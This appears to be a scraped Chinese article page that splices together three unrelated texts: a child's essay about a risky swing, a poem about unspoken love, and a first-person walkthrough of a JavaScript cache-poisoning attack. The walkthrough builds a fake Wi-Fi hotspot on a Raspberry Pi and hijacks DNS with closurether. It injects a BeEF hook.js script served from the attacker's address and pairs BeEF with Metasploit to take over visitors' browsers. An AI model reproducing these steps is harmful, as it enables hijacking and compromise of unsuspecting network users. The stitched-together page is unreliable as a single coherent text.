一 : 一次危险的尝试
在我学校旁不远处有一个山丘,山丘中间有一块比较平整的地方,那里有一根废旧的电线杆,电线杆上垂下了一根电线。电线的末端成勾状,上边有一个小环,可以把脚踩在上边,手拉着电线“荡秋千”。
今天放学时,我约好了文兴与秦鹏两个好朋友去那里“荡秋千”。到了那里,我们以猜拳来决定谁最先荡,剩下两位一边排队一边兼任“保护人员”。“保护人员”就是在荡的那个人荡出去又回来时避免他撞到电线杆的人。
“石头、剪刀、布!”,猜拳决定秦鹏先荡,文兴第二,我最后。秦鹏准备好了,问我们两个“保护人员”准备好了没有。“准备好了!”“OK”我和文兴陆续回答到。秦鹏把脚一放,荡了出去,回来时与电线杆擦身而过,平安地回到了起点。文兴接着荡,只见他把右脚踩在电线上,左脚使劲一蹬,荡出老远,回来时也安全回到起点。最后就是我荡了,我做好了准备工作,但又怕文兴和秦鹏没准备好,于是我一遍又一遍地问他们俩:“你们准备好了吗?”文兴和秦鹏都回答得不耐烦了,说:“我数三声,你再不荡就该我了。一……二……三。”话音刚落,我的右脚便使出了吃奶的劲,蹬出了5米多远。谁知天有不测风云,我刚荡出去,脚就滑了下来,整个人悬空,我只好用手死死地抓住电线。回来时我又径直朝电线杆撞去,我用双脚朝电线杆使劲一蹬才摆脱一难。从此以后我再也没有去那个危险地方玩了。
读者们,你们说我这个尝试够危险吗?
二 : JS投毒的另一种尝试
半个月前看了EtherDream写的那篇wifi流量劫持和JS投毒,随手就在公司实验室里折腾了一下,头一次接触这个领域,感觉挺新鲜的。然后又看到sh4dow@lcx.cc写了一篇《内网DNS投毒技术劫持会话》,我决定把我做的东西也分享一下。
0×01 攻击思路
1、用树莓派建立一个AP,诱使别人过来连接。
2、在树莓派里,设定DNS,指向一台代理主机(其实就是中间人)。
3、在代理主机上运行closurether,进行JS投毒。
4、投毒可以有很多种,closurether的原作者是设计了一个可以截获用户的登陆时候输入的用户名和密码,但是那个链接已经失效了,自己又不会写js,所以就改用别的思路。这里我选择了BeEF框架进行配合,在流量中插入hook.js。
5、既然BeEF可以配合MSF来攻击浏览器,那这里自然也少不了MSF的戏份。
0×02 工具准备
EDUP 迷你USB无线网卡 免驱动 (RTL8188CUS)
Raspberry Pi,系统镜像是Raspbian
团队的Summer建议我用TP-Link TL-WR703N 刷一个openWRT,便携而且还可以实现很多其他的功能。
这个想法还没有去尝试,openWRT刷进路由以后,路由就没有任何空间来安装其他的东西了。
0×03 改造树莓派
首先让树莓派运行起来,玩过的人都知道怎么弄,下载镜像,写入镜像,不做赘述。
其次是让树莓派作为一个路由器运行起来
详细的可以看这里:http://www.daveconroy.com/using-your-raspberry-pi-as-a-wireless-router-and-web-server/
这是使用树莓派建立无线AP的最早一篇文章。这里讲的非常详细,包括原理和具体配置都列举出来了,照着一步步坐下来,不会出太大意外。
这里伪造的wifi是我以前学调酒的那间酒吧用的,我师父是Lavazza的顶级咖啡师。不过那家酒吧关门了……在南京的童鞋如果有兴趣,还是有地方可以让我调酒的。
0×04建立中间人
在JS缓存投毒的文章中,作者给了非常详细的原理解释,并给出了实现代码。
我测试的平台是Mac OS X 10.0(黑苹果),安装简易,没有发生任何状况。
首先需要安装node.js
然后安装closurether
npm install -g closurether
运行closurether
closurether
closurether运行成功的话,就会看到下面的信息(linux下运行closurether需要的权限比较高,windows不能开启其他占用80、443端口的服务)
sudo closurether
Password:
[SYS] local ip: 172.16.6.37
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443
这个时候如果设置浏览器的代理指向127.0.0.1:80就可以看到closurether劫持的所有流量,包括DNS解析和http请求
如果你这么做了,不妨在浏览器中查看源码,你会看到源码中已经被植入了一个script标签,这个就是被closurether植入的攻击代码。
为了伪装,把地址写成了http://10086.cn/js10086/201306301200.js
但实际上,10086.cn上可不会有这么个文件….好一手栽赃嫁祸,我是伪装成了google-analytis的站点分析脚本
使用的攻击脚本和伪装都可以在config.json文件中修改
0×05修改DNS
依然已经准备了代理(中间人),那么就需要让流量指向代理,前面说设置浏览器代理可以实现,但最理想的还是作者提供的修改DNS
修改DNS,指向代理服务器,那么所有使用这个wifi上网的人解析域名就都解析到了代理服务器,DNS解析之后,再把http流量也指向代理服务器,就顺理成章的使closurether成为了中间人
在树莓派的DHCP中设置:
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.1 192.168.1.254;
option routers 192.168.1.1;
option domain-name-servers 172.16.6.37;
interface wlan0;
}
172.16.6.37也就是我本机
那么这个时候,连接到这个wifi的设备进行DNS解析的时候,得到的结果都是172.16.6.37
然后,其他的请求也就都指向了代理。
PS:closurether作者考虑的很周到,js投毒只能针对http或https协议,如果是其他的协议,那么在第二次请求的时候就把真实的DNS请求结果反馈给客户端,这样就不会那么容易被发现了。
0X06 BeEF和MSF
别人的文章里比我写的要清楚,就不多说了
但是目前关于BeEF使用的文章还比较少,还在陆续的挖掘其中的功能。
主要是需要建立BeEF和MSF的协作
使用
msfconsole -r beef.rc
来建立一个MSF的XMLRPC服务,然后BeEF启动以后会自动调用
beef.rc的内容如下:
load xmlrpc ServerHost=<服务器IP> Pass=<密码> ServerType=Web
0×07 把毒药撒向天空,让它随风飘扬(此处应有反派出场的音乐)
closurether中做如下修改:
修改asset/inject/extern.js,在function中增加:
- varcommandModuleStr='<scriptsrc="http://172.16.6.37:3000/hook.js"type="text/javascript">//<![CDATA[
- <\/script>';
- document.write(commandModuleStr);
http://172.16.6.37:3000/hook.js是BeEF的XSS脚本,理论上,这个脚本可以放在任何地方,也可以被closurether直接向流量中注入,还是因为不懂js,没有做过多的尝试。
然后,就等鱼上钩了
接下来就是如何利用BeEF和MSF去攻击浏览器的内容了。
按照closurether作者的思路,被投进去的js脚本会长期保存在用户的电脑里,时间又长有短。可能在未来的某一天,一台设备就突然上线了。
貌似用BeEF控制用户的浏览器去下载一个后门文件,也是可以的。
0×08小结
1、都是前人的东西,只不过组合了一下而已,没有任何穿创新,比较水。
2、hook.js对手机浏览器没有任何效果
3、MSF的漏洞库比较并没有想象中那么强大,想要一举拿下被投毒的电脑,没有几个0day估计是搞不定的
4、忽然对360清空浏览器缓存的功能感到很纠结……
5、用树莓派来实现这个功能,只是为了工作需要,经常出去做一些演讲,用这套设备效果会很好。实战中可能的问题就是,树莓派和中间人服务器,必须有一个能连接互联网。
6、树莓派上安装closurether也有些问题,还没做深入研究。
三 : 为什么不能勇敢一次
我伫立在路灯下
你看不见我绯红的脸
你看不见我颤抖的手
你听不见我狂乱的心跳
我一次次的告诉自己:
“这难道不是表露心迹最好的机会?”( 文章阅读网:www.61k.com )
这是最好的机会,也是最后的机会
为什么我不能勇敢一次?
就一次!
//
在这个夜晚,我送你归家
却咽住了我的话,低下了我的头
火热的情感在心里跳荡
天!为什么不能勇敢一次?
在这路灯下
最后,只剩下我
和,我的影子
不久前,还有你洁白的裙衣
和纯真的笑面
我目送你离去,永远离去
全是因为的懦弱:
为什么不能勇敢一次?
文/深渊 7月23日
又名《为什么不能勇敢一次》
本文标题:一次勇敢的尝试-一次危险的尝试61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1